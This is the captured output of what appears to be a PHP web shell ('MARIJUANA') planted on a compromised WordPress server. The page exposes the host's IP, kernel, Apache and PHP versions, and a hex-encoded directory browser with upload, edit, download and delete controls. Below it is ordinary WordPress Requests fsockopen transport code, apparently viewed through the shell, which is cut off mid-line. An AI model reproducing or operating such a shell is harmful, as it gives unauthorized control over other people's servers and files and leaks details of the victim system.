<!DOCTYPE html>
	<html dir="auto" lang="en-US">

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="atomlib.php">
						NG4R3P
					</a>
				</div>

				<div class="q x w">
					
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> Apache/2.4.18 (Ubuntu) <b>PHP :</b> 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
					<br />

					<i class="far fa-folder"></i>
					
					<a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f6974616970617661">itaipava</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c75646573">wp-includes</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f5265717565737473">Requests</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274">Transport</a>/
					<br />

				</div>

				<div class="u">
					138.68.56.76 <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					
				</div>
					<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&n">+FILE</a>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&l">+DIR</a>
								</td>
							</tr>
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&s=6355524c2e706870">cURL.php</a>
							</td>
							<td class="x">
								14.966 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&k=6355524c2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&t=6355524c2e706870">2016-10-04 21:24</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&r=6355524c2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&e=6355524c2e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&g=6355524c2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&x=6355524c2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&s=66736f636b6f70656e2e706870">fsockopen.php</a>
							</td>
							<td class="x">
								12.145 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&k=66736f636b6f70656e2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&t=66736f636b6f70656e2e706870">2016-10-04 21:24</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&r=66736f636b6f70656e2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&e=66736f636b6f70656e2e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&g=66736f636b6f70656e2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&x=66736f636b6f70656e2e706870">D</a>
							</td>
						</tr>
						
						</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&y">REQUEST</a>
									<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f52657175657374732f5472616e73706f7274&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>
			</article>
			<footer class="x">
				
			</footer>
			
			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */

/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */
class Requests_Transport_fsockopen implements Requests_Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@see https://secure.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	protected $max_bytes = false;

	protected $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @throws Requests_Exception On failure to connect to socket (`fsockopenerror`)
	 * @throws Requests_Exception On socket timeout (`timeout`)
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = array(), $data = array(), $options = array()) {
		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Requests_Exception('Invalid URL.', 'invalidurl', $url);
		}
		$host = $url_parts['host'];
		$context = stream_context_create();
		$verifyname = false;
		$case_insensitive_headers = new Requests_Utility_CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = 443;
			}

			$context_options = array(
				'verify_peer' => true,
				// 'CN_match' => $host,
				'capture_peer_cert' => true
			);
			$verifyname = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer'] = false;
				}
				elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname = false;
			}

			stream_context_set_option($context, array('ssl' => $context_options));
		}
		else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = 80;
		}
		$remote_socket .= ':' . $url_parts['port'];

		set_error_handler(array($this, 'connect_error_handler'), E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', array(&$remote_socket));

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Requests_Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Requests_Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Requests_Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		}
		else {
			$path = self::format_get($url_parts, array());
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', array(&$path, $url));

		$request_body = '';
		$out = sprintf("%s %s HTTP/%.1f\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, null, '&');
			}
			else {
				$request_body = $data;
			}

			if (!empty($data)) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out .= sprintf('Host: %s', $url_parts['host']);

			if (( 'http' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 80 ) || ( 'https' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 443 )) {
				$out .= ':' . $url_parts['port'];
			}
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode($headers, "\r\n") . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', array(&$out));

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', array(&$out));

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', array($out));

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', array(&$fake_headers));
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec == $options['timeout']) {
			$timeout_msec = 0;
		}
		else {
			$timeout_msec = self::SECOND